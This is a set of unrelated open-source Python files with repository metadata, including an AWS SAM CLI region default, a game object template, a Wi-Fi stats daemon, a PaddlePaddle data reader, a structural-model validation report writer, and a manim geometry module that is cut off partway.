2020-08-24T14:35:39.000Z

samcli/lib/utils/defaults.py

torresxb1/aws-sam-cli

d307f2eb6e1a91a476a5e2ca6070f974b0c913f1

[ "BSD-2-Clause", "Apache-2.0" ]

1,469

2018-05-08T22:44:28.000Z

2020-08-24T20:19:24.000Z

samcli/lib/utils/defaults.py

torresxb1/aws-sam-cli

d307f2eb6e1a91a476a5e2ca6070f974b0c913f1

[ "BSD-2-Clause", "Apache-2.0" ]

642

2018-05-08T22:09:19.000Z

2020-08-17T09:04:37.000Z

""" Contains helpers for providing default values """ from botocore.session import get_session def get_default_aws_region() -> str: return get_session().get_config_variable("region") or "us-east-1"

22.666667

69

0.759804

4a07b11f571514006a50bc61964c8db10ad02fde

464

py

Python

data/scripts/templates/object/draft_schematic/clothing/shared_clothing_ith_hat_casual_01.py

obi-two/GameServer

7d37024e2291a97d49522610cd8f1dbe5666afc2

[ "MIT" ]

20

2015-02-23T15:11:56.000Z

2022-03-18T20:56:48.000Z

data/scripts/templates/object/draft_schematic/clothing/shared_clothing_ith_hat_casual_01.py

apathyboy/swganh

665128efe9154611dec4cb5efc61d246dd095984

[ "MIT" ]

null

data/scripts/templates/object/draft_schematic/clothing/shared_clothing_ith_hat_casual_01.py

apathyboy/swganh

665128efe9154611dec4cb5efc61d246dd095984

[ "MIT" ]

20

2015-04-04T16:35:59.000Z

2022-03-24T14:54:37.000Z

#### NOTICE: THIS FILE IS AUTOGENERATED #### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY #### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES from swgpy.object import * def create(kernel): result = Intangible() result.template = "object/draft_schematic/clothing/shared_clothing_ith_hat_casual_01.iff" result.attribute_template_id = -1 result.stfName("string_id_table","") #### BEGIN MODIFICATIONS #### #### END MODIFICATIONS #### return result

27.294118

90

0.737069

4a07b1416e99ca56cc5bac659f688589c43cae82

1,914

py

Python

ssidstat/ssidstatd/ssidstatd.py

putrasattvika/ssidstat

90bc4a52702ec314a0385f669d68446fa46fe153

[ "Apache-2.0" ]

null

ssidstat/ssidstatd/ssidstatd.py

putrasattvika/ssidstat

90bc4a52702ec314a0385f669d68446fa46fe153

[ "Apache-2.0" ]

null

ssidstat/ssidstatd/ssidstatd.py

putrasattvika/ssidstat

90bc4a52702ec314a0385f669d68446fa46fe153

[ "Apache-2.0" ]

null

#!/usr/bin/env python2 import monitor import argparse import ssidstat __DEFAULT_INTERVAL = 10 __DEFAULT_PID_FILE = '/var/lib/ssidstat/ssidstatd.pid' __DEFAULT_OUT_FILE = '/var/lib/ssidstat/ssidstatd.out' __DEFAULT_ERR_FILE = '/var/lib/ssidstat/ssidstatd.err' __DEFAULT_DB_FILE = '/var/lib/ssidstat/ssidstatd.db' def main(): parser = argparse.ArgumentParser() parser.add_argument("-v", "--version", action="store_true", help="show ssidstat version") parser.add_argument("--pidfile", help="pidfile, default is {}".format(__DEFAULT_PID_FILE), default=__DEFAULT_PID_FILE) parser.add_argument("--db", help="database file, default is {}".format(__DEFAULT_DB_FILE), default=__DEFAULT_DB_FILE) parser.add_argument("--outlog", help="standard output file, default is {}".format(__DEFAULT_OUT_FILE), default=__DEFAULT_OUT_FILE) parser.add_argument("--errlog", help="standard error file, default is {}".format(__DEFAULT_ERR_FILE), default=__DEFAULT_ERR_FILE) parser.add_argument("--interval", help="polling interval (secs), default is {} seconds".format(__DEFAULT_INTERVAL), default=__DEFAULT_INTERVAL) parser.add_argument("--status", action="store_true", help="check whether ssidstat daemon is running or not") parser.add_argument("--stop", action="store_true", help="stop running ssidstat daemon") parser.add_argument("--restart", action="store_true", help="restart running ssidstat daemon") opts = parser.parse_args() if opts.version: print 'SSIDStat/SSIDStatd v{}'.format(ssidstat.__version__) return monitord = monitor.MonitorDaemon(opts.db, opts.pidfile, opts.interval, stdout=opts.outlog, stderr=opts.errlog) if opts.status: if monitord.is_running(): print 'ssidstat daemon is running' else: print 'ssidstat daemon is not running' return if opts.stop: monitord.stop() elif opts.restart: monitord.restart() else: monitord.start() if __name__ == '__main__': main()

38.28

144

0.757576

4a07b19861e12b9191d5e01b29c82f7c59eb2ce0

3,552

py

Python

ST_DM/KDD2021-MSTPAC/code/ST-PAC/frame/core/dataset_reader.py

zhangyimi/Research

866f91d9774a38d205d6e9a3b1ee6293748261b3

[ "Apache-2.0" ]

1,319

2020-02-14T10:42:07.000Z

2022-03-31T15:42:18.000Z

ST_DM/KDD2021-MSTPAC/code/ST-PAC/frame/core/dataset_reader.py

green9989/Research

94519a72e7936c77f62a31709634b72c09aabf74

[ "Apache-2.0" ]

192

2020-02-14T02:53:34.000Z

2022-03-31T02:25:48.000Z

ST_DM/KDD2021-MSTPAC/code/ST-PAC/frame/core/dataset_reader.py

green9989/Research

94519a72e7936c77f62a31709634b72c09aabf74

[ "Apache-2.0" ]

720

2020-02-14T02:12:38.000Z

2022-03-31T12:21:15.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- ################################################################################ # Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ################################################################################ """ File: frame/core/dataset_reader.py Date: 2019/05/07 18:56:25 Brief: Generate sample for dataset trainer """ from __future__ import print_function import logging import numpy as np import logging import sys import os import random import paddle.fluid.incubate.data_generator as dg from utils.object_transform import ObjectTransform class DatasetReader(dg.MultiSlotDataGenerator): """ data reader inherated from paddle class MultiSlotDataGenerator """ def init_reader(self, obj_str, input_names): """ init reader. """ self.dataset_instance = ObjectTransform.pickle_loads_from_str(obj_str) self.input_names = ObjectTransform.pickle_loads_from_str(input_names) def generate_sample(self, line): """ generate_sample from text line. """ def _iterator(): """ closure """ for sample in self.dataset_instance.parse_oneline(line): truncate_sample = [(key, value) for key, value in sample if key in self.input_names] yield truncate_sample return _iterator def generate_batch(self, samples): """ This function needs to be overridden by the user to process the generated samples from generate_sample(self, str) function It is usually used as batch processing when a user wants to do preprocessing on a batch of samples, e.g. padding according to the max length of a sample in the batch Args: samples(list tuple): generated sample from generate_sample Returns: a python generator, the same format as return value of generate_sample Example: .. code-block:: python import paddle.fluid.incubate.data_generator as dg class MyData(dg.DataGenerator): def generate_sample(self, line): def local_iter(): int_words = [int(x) for x in line.split()] yield ("words", int_words) return local_iter def generate_batch(self, samples): def local_iter(): for s in samples: yield ("words", s[1].extend([s[1][0]])) mydata = MyData() mydata.set_batch(128) """ def _local_iter(): for sample in samples: yield sample return _local_iter if __name__ == "__main__": dataset_reader = DatasetReader() dataset_reader.init_reader(sys.argv[1], sys.argv[2]) dataset_reader.run_from_stdin()

32.290909

100

0.593468

4a07b2a357f2014f411627b7a49fe1edaea23259

14,976

py

Python

master/pyext/src/validation/Report.py

salilab/IHMValidation

ddf1a080a4b7f66c2f067312f5f4a5c6584848d1

[ "MIT" ]

null

master/pyext/src/validation/Report.py

salilab/IHMValidation

ddf1a080a4b7f66c2f067312f5f4a5c6584848d1

[ "MIT" ]

23

2020-12-09T22:27:29.000Z

2022-03-30T18:01:43.000Z

master/pyext/src/validation/Report.py

salilab/IHMValidation

ddf1a080a4b7f66c2f067312f5f4a5c6584848d1

[ "MIT" ]

1

2022-03-21T22:55:24.000Z

################################### # Script : # 1) Contains class to write dictionary # for jinja2/write HTML files/PDF files # and supplementary table # # ganesans - Salilab - UCSF # ganesans@salilab.org ################################### import pytz import jinja2 import pandas as pd import sys,os,glob import numpy as np import validation from validation import excludedvolume,get_input_information from validation import molprobity from validation import get_plots,sas,sas_plots from validation import cx,cx_plots from validation import utility #import pdfkit import datetime,time import pickle from multiprocessing import Process, Queue, Pool, Manager from collections import Counter import argparse import json class WriteReport(object): def __init__(self,mmcif_file): self.mmcif_file = mmcif_file self.I=get_input_information(self.mmcif_file) def run_entry_composition(self,Template_Dict:dict)->dict: ''' get entry composition, relies on IHM library ''' start=time.process_time() name=self.mmcif_file.split('.')[0].split('_')[0] if self.I.get_ensembles(): ensemble_info=utility.dict_to_JSlist(self.I.get_ensembles()) else: ensemble_info=None Template_Dict['ensemble_info']=ensemble_info Template_Dict['sphere']=self.I.check_sphere() Template_Dict['num_ensembles']=self.I.check_ensembles() RB,flex,RB_nos,all_nos=self.I.get_RB_flex_dict() Template_Dict['Rigid_Body']=RB_nos Template_Dict['Flexible_Unit']=all_nos-RB_nos Template_Dict['RB_list']=utility.dict_to_JSlist_rows(RB,flex) Template_Dict['RB']=utility.get_RB(utility.dict_to_JSlist_rows(RB,flex)) Template_Dict['flex']=utility.get_flex(utility.dict_to_JSlist_rows(RB,flex)) Template_Dict['ID']=self.I.get_id() Template_Dict['ID_w']=self.I.get_id().split() Template_Dict['ID_T']=self.I.get_id()[0:6]+'_'+self.I.get_id()[6:] Template_Dict['ID_R']=(self.I.get_id()[0:6]+'_'+self.I.get_id()[6:]).split() Template_Dict['Molecule']=self.I.get_struc_title() Template_Dict['Title']=self.I.get_title() Template_Dict['Authors']=self.I.get_authors() Template_Dict['Entry_list']=utility.dict_to_JSlist(self.I.get_composition()) Template_Dict['number_of_molecules']=self.I.get_number_of_models() Template_Dict['model_names']=self.I.get_model_names() Template_Dict['number_of_software']=self.I.get_software_length() Template_Dict['soft_list']=utility.dict_to_JSlist(self.I.get_software_comp()) Template_Dict['number_of_datasets']=self.I.get_dataset_length() Template_Dict['Data']=[i.upper() for i in list(set(self.I.get_dataset_comp()['Dataset type']).difference({'Experimental model','Comparative model'}))] Template_Dict['Datasets_list']=utility.dict_to_JSlist(self.I.get_dataset_comp()) Template_Dict['Protocols_number']=self.I.get_protocol_number() Template_Dict['Sampling_list']=utility.dict_to_JSlist(self.I.get_sampling()) Template_Dict['num_chains']=int(len(self.I.get_composition()['Chain ID']))/int(len(list(Counter(self.I.get_composition()['Model ID']).keys()))) return Template_Dict def run_model_quality(self,Template_Dict:dict)->(dict,dict,dict,dict,dict): ''' get excluded volume for multiscale models get molprobity info for atomic models exception: models with DNA--we need a way to assess models with DNA ''' if self.I.check_sphere()<1: #global clashscore; global rama; global sidechain; exv_data=None I_mp=molprobity.get_molprobity_information(self.mmcif_file) if I_mp.check_for_molprobity(): filename = os.path.abspath(os.path.join(os.getcwd(), 'static/results/',str(Template_Dict['ID'])+'_temp_mp.txt')) if os.path.exists(filename): d_mp={} print ("Molprobity analysis file already exists...\n...assuming clashscores, Ramachandran and rotamer outliers have already been calculated") with open(filename,'rb') as fp: d_mp['molprobity']=pickle.load(fp) f_rota=os.path.abspath(os.path.join(os.getcwd(), 'static/results/',str(Template_Dict['ID'])+'_temp_rota.txt')) with open(f_rota,'rb') as fp: d_mp['rota']=pickle.load(fp) f_rama=os.path.abspath(os.path.join(os.getcwd(), 'static/results/',str(Template_Dict['ID'])+'_temp_rama.txt')) with open(f_rama,'rb') as fp: d_mp['rama']=pickle.load(fp) f_clash=os.path.abspath(os.path.join(os.getcwd(), 'static/results/',str(Template_Dict['ID'])+'_temp_clash.txt')) with open(f_clash,'rb') as fp: d_mp['clash']=pickle.load(fp) else: print ("Molprobity analysis is being calculated...") manager = Manager() d_mp=manager.dict() utility.runInParallel(I_mp.run_clashscore(d_mp),I_mp.run_ramalyze(d_mp),I_mp.run_rotalyze(d_mp),I_mp.run_molprobity(d_mp)) a,b=I_mp.process_molprobity(d_mp['molprobity']) Template_Dict['bond']=len(a); Template_Dict['angle']=len(b) global clashscore;global rama;global sidechain clashscore,rama,sidechain=I_mp.get_data_for_quality_at_glance(d_mp['molprobity']) Template_Dict['molp_b']=utility.dict_to_JSlist(I_mp.molprobity_detailed_table_bonds(a)) Template_Dict['molp_a']=utility.dict_to_JSlist(I_mp.molprobity_detailed_table_angles(b)) Template_Dict['rotascore']=utility.dict_to_JSlist(I_mp.rota_summary_table(I_mp.process_rota(d_mp['rota']))) Template_Dict['rotalist']=utility.dict_to_JSlist(I_mp.rota_detailed_table(I_mp.process_rota(d_mp['rota']))) Template_Dict['ramascore']=utility.dict_to_JSlist(I_mp.rama_summary_table(I_mp.process_rama(d_mp['rama']))) Template_Dict['ramalist']=utility.dict_to_JSlist(I_mp.rama_detailed_table(I_mp.process_rama(d_mp['rama']))) clashscores,Template_Dict['tot']=I_mp.clash_summary_table(d_mp['clash']) Template_Dict['clashscore_list']=utility.dict_to_JSlist(clashscores) Template_Dict['clashlist']=I_mp.clash_detailed_table(d_mp['clash']) Template_Dict['assess_atomic_segments']='Clashscore: '+ str(clashscore) + ', Ramachandran outliers: '+ str(rama)+ '% '+', Sidechain outliers: '+str(sidechain)+'%' Template_Dict['assess_excluded_volume']=['Not applicable'] else: if I_mp.check_for_molprobity()==False: self.I.rewrite_mmcif() I_mp=molprobity.get_molprobity_information('test.cif') print ("file rewritten") if I_mp.check_for_molprobity(): print ("Molprobity analysis is being calculated...") manager = Manager() d_mp=manager.dict() try: runInParallel(I_mp.run_clashscore(d_mp),I_mp.run_ramalyze(d_mp),I_mp.run_rotalyze(d_mp),I_mp.run_molprobity(d_mp)) a,b=I_mp.process_molprobity(d_mp['molprobity']) Template_Dict['bond']=len(a); Template_Dict['angle']=len(b) clashscore,rama,sidechain=I_mp.get_data_for_quality_at_glance(d_mp['molprobity']) Template_Dict['molp_b']=utility.dict_to_JSlist(I_mp.molprobity_detailed_table_bonds(a)) Template_Dict['molp_a']=utility.dict_to_JSlist(I_mp.molprobity_detailed_table_angles(b)) Template_Dict['rotascore']=utility.dict_to_JSlist(I_mp.rota_summary_table(I_mp.process_rota(d_mp['rota']))) Template_Dict['rotalist']=utility.dict_to_JSlist(I_mp.rota_detailed_table(I_mp.process_rota(d_mp['rota']))) Template_Dict['ramascore']=utility.dict_to_JSlist(I_mp.rama_summary_table(I_mp.process_rama(d_mp['rama']))) Template_Dict['ramalist']=utility.dict_to_JSlist(I_mp.rama_detailed_table(I_mp.process_rama(d_mp['rama']))) clashscores,Template_Dict['tot']=I_mp.clash_summary_table(d_mp['clash']) Template_Dict['clashscore_list']=utility.dict_to_JSlist(clashscores) Template_Dict['clashlist']=I_mp.clash_detailed_table(d_mp['clash']) Template_Dict['assess_atomic_segments']='Clashscore: '+ str(clashscore) + ', Ramachandran outliers: '+ str(rama)+ '% '+', Sidechain outliers: '+str(sidechain)+'%' Template_Dict['assess_excluded_volume']=['Not applicable'] except: print ("Molprobity cannot be calculated...") clashscore=None rama=None sidechain=None else: Template_Dict['assess_atomic_segments']='Not applicable' file=os.getcwd()+'Output/results/'+str(Template_Dict['ID'])+'exv.txt' if os.path.exists(file): print ("Excluded volume file already exists...") with open(file, 'r+') as inf: line=[ln.replace('[','').replace(']','').replace(',','').split() for ln in inf.readlines()] exv_data={'Models':line[0],'Excluded Volume Satisfaction (%)':line[1], 'Number of violations':line[2]} else: print ("Excluded volume is being calculated...") I_ev=excludedvolume.get_excluded_volume(self.mmcif_file) model_dict=I_ev.get_all_spheres() exv_data=I_ev.run_exc_vol_parallel(model_dict) Template_Dict['excluded_volume']=utility.dict_to_JSlist(exv_data) Template_Dict['assess_excluded_volume']=utility.exv_readable_format(exv_data) clashscore=None rama=None sidechain=None return Template_Dict,clashscore,rama,sidechain,exv_data def run_sas_validation(self,Template_Dict:dict)->(dict,dict,dict): ''' get sas validation information from SASCIF or JSON files ''' if self.I.check_for_sas(self.I.get_dataset_comp()): Template_Dict['sas']=["True"] I_sas=sas.sas_validation(self.mmcif_file) Template_Dict['p_val']=utility.dict_to_JSlist(I_sas.get_pvals()) Template_Dict['sasdb_code']=I_sas.get_SASBDB_code() try: Template_Dict['parameters_volume']=utility.dict_to_JSlist(I_sas.get_parameters_vol_many()) except: Template_Dict['parameters_volume']=utility.dict_to_JSlist(I_sas.get_parameters_vol_many_dep()) try: Template_Dict['parameters_mw']=utility.dict_to_JSlist(I_sas.get_parameters_mw_many()) except: Template_Dict['parameters_mw']=utility.dict_to_JSlist(I_sas.get_parameters_mw_many_dep()) Template_Dict['pddf_info']=utility.dict_to_JSlist(I_sas.get_pddf_info()) Template_Dict['number_of_fits']=I_sas.get_total_fits() Template_Dict['chi_table']=utility.dict_to_JSlist(I_sas.get_chi_table()) Template_Dict['rg_table']=utility.dict_to_JSlist(I_sas.get_rg_table_many()) Template_Dict['sasdb_code_fits']=I_sas.get_sasdb_code_fits() Template_Dict['Data_quality']=utility.get_rg_data(I_sas.get_rg_for_plot()) Template_Dict['validation_input']=utility.get_rg_data_fits(I_sas.get_fits_for_plot()) if len(Template_Dict['validation_input'])<1: Template_Dict['validation_input']=['Fit of model to data has not been deposited'] sas_data=I_sas.get_rg_for_plot() sas_fit=I_sas.get_fits_for_plot() else: sas_data={} sas_fit={} return Template_Dict,sas_data,sas_fit def run_sas_validation_plots(self,Template_Dict:dict): ''' get sas validation information from SASCIF or JSON files ''' if self.I.check_for_sas(self.I.get_dataset_comp()): Template_Dict['sas']=["True"] I_sas=sas.sas_validation(self.mmcif_file) try: I_sas_plt=validation.sas_plots.sas_validation_plots(self.mmcif_file) I_sas.modify_intensity() I_sas.get_pofr_errors() I_sas_plt.plot_multiple() I_sas_plt.plot_pf() I_sas_plt.plot_Guinier() if Template_Dict['number_of_fits']>0: I_sas_plt.plot_fits() except: pass def run_cx_validation(self,Template_Dict:dict)->(dict,dict): if self.I.check_for_cx(self.I.get_dataset_comp()): Template_Dict['cx']=["True"] I_cx=cx.cx_validation(self.mmcif_file) xl_df=I_cx.get_xl_data() model_df=I_cx.get_df_for_models() cx_fit=I_cx.get_violation_plot(model_df) for key,value in cx_fit.items(): Template_Dict['Cx Fit '+str(key)]=value try: Template_Dict['validation_input'].extend(utility.get_cx_data_fits(cx_fit)) except: Template_Dict['validation_input']=utility.get_cx_data_fits(cx_fit) else: cx_fit=dict() return cx_fit,Template_Dict def run_cx_validation_plots(self,Template_Dict:dict): if self.I.check_for_cx(self.I.get_dataset_comp()): Template_Dict['cx']=["True"] cx_plt=validation.cx_plots.cx_validation_plots(self.mmcif_file) cx_plt.make_gridplot_intra() cx_plt.make_gridplot_struc() cx_plt.plot_distributions() def run_quality_glance(self,clashscore:dict,rama:dict, sidechain:dict,exv_data:dict, sas_data:dict,sas_fit:dict, cx_fit:dict): ''' get quality at glance image; will be updated as validation report is updated ''' I_plt=get_plots.plots(self.mmcif_file) I_plt.plot_quality_at_glance(clashscore,rama,sidechain,exv_data,sas_data,sas_fit,cx_fit) def run_supplementary_table(self, Template_Dict, location='N/A', physics='Information about physical principles was not provided', method_details='N/A', sampling_validation='N/A', validation_input=['-'], cross_validation='N/A', Data_quality=['-'], clustering='N/A', resolution='N/A'): ''' get supplementary table, will be updated as validation report is updated ''' if (self.I.get_ensembles() is not None) and (utility.all_same(self.I.get_ensembles()['Clustering method'])): Template_Dict['clustering']=self.I.get_ensembles()['Clustering method'][0] elif self.I.get_ensembles() is not None: Template_Dict['clustering']=', '.join(self.I.get_ensembles()['Clustering method']) else: Template_Dict['clustering']='Not applicable' Template_Dict['location']=location Template_Dict['complex_name']=self.I.get_struc_title().lower() Template_Dict['PDB_ID']=self.I.get_id() Template_Dict['Subunits']=utility.get_subunits(self.I.get_composition()) Template_Dict['datasets']=utility.get_datasets(self.I.get_dataset_details()) if self.I.get_dataset_details() is not None else 'Not provided or used' Template_Dict['physics']=physics Template_Dict['software']=utility.get_software(self.I.get_software_comp())+ location Template_Dict['struc']=self.I.get_atomic_coverage() Template_Dict['method']=utility.get_method_name(self.I.get_sampling()) Template_Dict['method_type']=utility.get_method_type(self.I.get_sampling()) Template_Dict['method_details']=method_details Template_Dict['models']=', '.join(self.I.get_ensembles()['Number of models']) if self.I.get_ensembles() is not None else 'Not applicable' Template_Dict['sampling_validation']=sampling_validation Template_Dict['feature']=self.I.get_ensembles()['Clustering feature'][0] if self.I.get_ensembles() is not None else 'Not applicable' Template_Dict['cross_validation']=cross_validation Template_Dict['model_precision']=', '.join([i+'&#8491' for i in self.I.get_ensembles()['Cluster precision']]) if self.I.get_ensembles() is not None else 'Model precision can not be calculated with one structure' Template_Dict['restraint_info']=utility.get_restraints_info(self.I.get_restraints()) if self.I.get_restraints() is not None else 'Not provided or used' if 'Data_quality' not in list(Template_Dict.keys()): Template_Dict['Data_quality']=Data_quality if 'validation_input' not in list(Template_Dict.keys()): Template_Dict['validation_input']=validation_input Template_Dict['clustering']=clustering Template_Dict['resolution']=resolution return Template_Dict

48.466019

213

0.744324

4a07b387c1938b173c936db8cac73e19817fbbe6

98,974

py

Python

manim/mobject/geometry.py

vagrid/manim

723e645abce9c86cdf40c98959157e6ff93896a0

[ "MIT" ]

null

manim/mobject/geometry.py

vagrid/manim

723e645abce9c86cdf40c98959157e6ff93896a0

[ "MIT" ]

null

manim/mobject/geometry.py

vagrid/manim

723e645abce9c86cdf40c98959157e6ff93896a0

[ "MIT" ]

1

2021-08-23T06:57:07.000Z

r"""Mobjects that are simple geometric shapes. Examples -------- .. manim:: UsefulAnnotations :save_last_frame: class UsefulAnnotations(Scene): def construct(self): m0 = Dot() m1 = AnnotationDot() m2 = LabeledDot("ii") m3 = LabeledDot(MathTex(r"\alpha").set_color(ORANGE)) m4 = CurvedArrow(2*LEFT, 2*RIGHT, radius= -5) m5 = CurvedArrow(2*LEFT, 2*RIGHT, radius= 8) m6 = CurvedDoubleArrow(ORIGIN, 2*RIGHT) self.add(m0, m1, m2, m3, m4, m5, m6) for i, mobj in enumerate(self.mobjects): mobj.shift(DOWN * (i-3)) """ __all__ = [ "TipableVMobject", "Arc", "ArcBetweenPoints", "CurvedArrow", "CurvedDoubleArrow", "Circle", "Dot", "AnnotationDot", "LabeledDot", "Ellipse", "AnnularSector", "Sector", "Annulus", "Line", "DashedLine", "TangentLine", "Elbow", "Arrow", "Vector", "DoubleArrow", "CubicBezier", "Polygram", "Polygon", "RegularPolygram", "RegularPolygon", "Star", "ArcPolygon", "ArcPolygonFromArcs", "Triangle", "ArrowTip", "Rectangle", "Square", "RoundedRectangle", "Cutout", "Angle", "RightAngle", "ArrowCircleFilledTip", "ArrowCircleTip", "ArrowSquareTip", "ArrowSquareFilledTip", ] import math import warnings from typing import Iterable, Optional, Sequence import numpy as np from colour import Color from manim.mobject.opengl_mobject import OpenGLMobject from .. import config, logger from ..constants import * from ..mobject.mobject import Mobject from ..mobject.types.vectorized_mobject import DashedVMobject, VGroup, VMobject from ..utils.color import * from ..utils.iterables import adjacent_n_tuples, adjacent_pairs from ..utils.simple_functions import fdiv from ..utils.space_ops import ( angle_between_vectors, angle_of_vector, compass_directions, line_intersection, normalize, regular_vertices, rotate_vector, ) from .opengl_compatibility import ConvertToOpenGL class TipableVMobject(VMobject, metaclass=ConvertToOpenGL): """ Meant for shared functionality between Arc and Line. Functionality can be classified broadly into these groups: * Adding, Creating, Modifying tips - add_tip calls create_tip, before pushing the new tip into the TipableVMobject's list of submobjects - stylistic and positional configuration * Checking for tips - Boolean checks for whether the TipableVMobject has a tip and a starting tip * Getters - Straightforward accessors, returning information pertaining to the TipableVMobject instance's tip(s), its length etc """ def __init__( self, tip_length=DEFAULT_ARROW_TIP_LENGTH, normal_vector=OUT, tip_style={}, **kwargs, ): self.tip_length = tip_length self.normal_vector = normal_vector self.tip_style = tip_style super().__init__(**kwargs) # Adding, Creating, Modifying tips def add_tip(self, tip=None, tip_shape=None, tip_length=None, at_start=False): """ Adds a tip to the TipableVMobject instance, recognising that the endpoints might need to be switched if it's a 'starting tip' or not. """ if tip is None: tip = self.create_tip(tip_shape, tip_length, at_start) else: self.position_tip(tip, at_start) self.reset_endpoints_based_on_tip(tip, at_start) self.asign_tip_attr(tip, at_start) self.add(tip) return self def create_tip(self, tip_shape=None, tip_length=None, at_start=False): """ Stylises the tip, positions it spatially, and returns the newly instantiated tip to the caller. """ tip = self.get_unpositioned_tip(tip_shape, tip_length) self.position_tip(tip, at_start) return tip def get_unpositioned_tip(self, tip_shape=None, tip_length=None): """ Returns a tip that has been stylistically configured, but has not yet been given a position in space. """ if tip_shape is None: tip_shape = ArrowTriangleFilledTip if tip_length is None: tip_length = self.get_default_tip_length() color = self.get_color() style = {"fill_color": color, "stroke_color": color} style.update(self.tip_style) tip = tip_shape(length=tip_length, **style) return tip def position_tip(self, tip, at_start=False): # Last two control points, defining both # the end, and the tangency direction if at_start: anchor = self.get_start() handle = self.get_first_handle() else: handle = self.get_last_handle() anchor = self.get_end() tip.rotate(angle_of_vector(handle - anchor) - PI - tip.tip_angle) tip.shift(anchor - tip.tip_point) return tip def reset_endpoints_based_on_tip(self, tip, at_start): if self.get_length() == 0: # Zero length, put_start_and_end_on wouldn't work return self if at_start: self.put_start_and_end_on(tip.base, self.get_end()) else: self.put_start_and_end_on(self.get_start(), tip.base) return self def asign_tip_attr(self, tip, at_start): if at_start: self.start_tip = tip else: self.tip = tip return self # Checking for tips def has_tip(self): return hasattr(self, "tip") and self.tip in self def has_start_tip(self): return hasattr(self, "start_tip") and self.start_tip in self # Getters def pop_tips(self): start, end = self.get_start_and_end() result = self.get_group_class()() if self.has_tip(): result.add(self.tip) self.remove(self.tip) if self.has_start_tip(): result.add(self.start_tip) self.remove(self.start_tip) self.put_start_and_end_on(start, end) return result def get_tips(self): """ Returns a VGroup (collection of VMobjects) containing the TipableVMObject instance's tips. """ result = self.get_group_class()() if hasattr(self, "tip"): result.add(self.tip) if hasattr(self, "start_tip"): result.add(self.start_tip) return result def get_tip(self): """Returns the TipableVMobject instance's (first) tip, otherwise throws an exception.""" tips = self.get_tips() if len(tips) == 0: raise Exception("tip not found") else: return tips[0] def get_default_tip_length(self): return self.tip_length def get_first_handle(self): return self.get_points()[1] def get_last_handle(self): return self.get_points()[-2] def get_end(self): if self.has_tip(): return self.tip.get_start() else: return super().get_end() def get_start(self): if self.has_start_tip(): return self.start_tip.get_start() else: return super().get_start() def get_length(self): start, end = self.get_start_and_end() return np.linalg.norm(start - end) class Arc(TipableVMobject): """A circular arc. Examples -------- A simple arc of angle Pi. .. manim:: ArcExample :save_last_frame: class ArcExample(Scene): def construct(self): self.add(Arc(angle=PI)) """ def __init__( self, radius: float = 1.0, start_angle=0, angle=TAU / 4, num_components=9, arc_center=ORIGIN, **kwargs, ): if radius is None: # apparently None is passed by ArcBetweenPoints radius = 1.0 self.radius = radius self.num_components = num_components self.arc_center = arc_center self.start_angle = start_angle self.angle = angle self._failed_to_get_center = False super().__init__(**kwargs) def generate_points(self): self.set_pre_positioned_points() self.scale(self.radius, about_point=ORIGIN) self.shift(self.arc_center) # Points are set a bit differently when rendering via OpenGL. # TODO: refactor Arc so that only one strategy for setting points # has to be used. def init_points(self): self.set_points( Arc.create_quadratic_bezier_points( angle=self.angle, start_angle=self.start_angle, n_components=self.num_components, ) ) self.scale(self.radius, about_point=ORIGIN) self.shift(self.arc_center) @staticmethod def create_quadratic_bezier_points(angle, start_angle=0, n_components=8): samples = np.array( [ [np.cos(a), np.sin(a), 0] for a in np.linspace( start_angle, start_angle + angle, 2 * n_components + 1, ) ] ) theta = angle / n_components samples[1::2] /= np.cos(theta / 2) points = np.zeros((3 * n_components, 3)) points[0::3] = samples[0:-1:2] points[1::3] = samples[1::2] points[2::3] = samples[2::2] return points def set_pre_positioned_points(self): anchors = np.array( [ np.cos(a) * RIGHT + np.sin(a) * UP for a in np.linspace( self.start_angle, self.start_angle + self.angle, self.num_components ) ] ) # Figure out which control points will give the # Appropriate tangent lines to the circle d_theta = self.angle / (self.num_components - 1.0) tangent_vectors = np.zeros(anchors.shape) # Rotate all 90 degrees, via (x, y) -> (-y, x) tangent_vectors[:, 1] = anchors[:, 0] tangent_vectors[:, 0] = -anchors[:, 1] # Use tangent vectors to deduce anchors handles1 = anchors[:-1] + (d_theta / 3) * tangent_vectors[:-1] handles2 = anchors[1:] - (d_theta / 3) * tangent_vectors[1:] self.set_anchors_and_handles(anchors[:-1], handles1, handles2, anchors[1:]) def get_arc_center(self, warning=True): """ Looks at the normals to the first two anchors, and finds their intersection points """ # First two anchors and handles a1, h1, h2, a2 = self.get_points()[:4] if np.all(a1 == a2): # For a1 and a2 to lie at the same point arc radius # must be zero. Thus arc_center will also lie at # that point. return a1 # Tangent vectors t1 = h1 - a1 t2 = h2 - a2 # Normals n1 = rotate_vector(t1, TAU / 4) n2 = rotate_vector(t2, TAU / 4) try: return line_intersection(line1=(a1, a1 + n1), line2=(a2, a2 + n2)) except Exception: if warning: warnings.warn("Can't find Arc center, using ORIGIN instead") self._failed_to_get_center = True return np.array(ORIGIN) def move_arc_center_to(self, point): self.shift(point - self.get_arc_center()) return self def stop_angle(self): return angle_of_vector(self.get_points()[-1] - self.get_arc_center()) % TAU class ArcBetweenPoints(Arc): """ Inherits from Arc and additionally takes 2 points between which the arc is spanned. Example -------------------- .. manim:: ArcBetweenPointsExample class ArcBetweenPointsExample(Scene): def construct(self): circle = Circle(radius=2, stroke_color=GREY) dot_1 = Dot(color=GREEN).move_to([2, 0, 0]).scale(0.5) dot_1_text = Tex("(2,0)").scale(0.5).next_to(dot_1, RIGHT).set_color(BLUE) dot_2 = Dot(color=GREEN).move_to([0, 2, 0]).scale(0.5) dot_2_text = Tex("(0,2)").scale(0.5).next_to(dot_2, UP).set_color(BLUE) arc= ArcBetweenPoints(start=2 * RIGHT, end=2 * UP, stroke_color=YELLOW) self.add(circle, dot_1, dot_2, dot_1_text, dot_2_text) self.play(Create(arc)) """ def __init__(self, start, end, angle=TAU / 4, radius=None, **kwargs): if radius is not None: self.radius = radius if radius < 0: sign = -2 radius *= -1 else: sign = 2 halfdist = np.linalg.norm(np.array(start) - np.array(end)) / 2 if radius < halfdist: raise 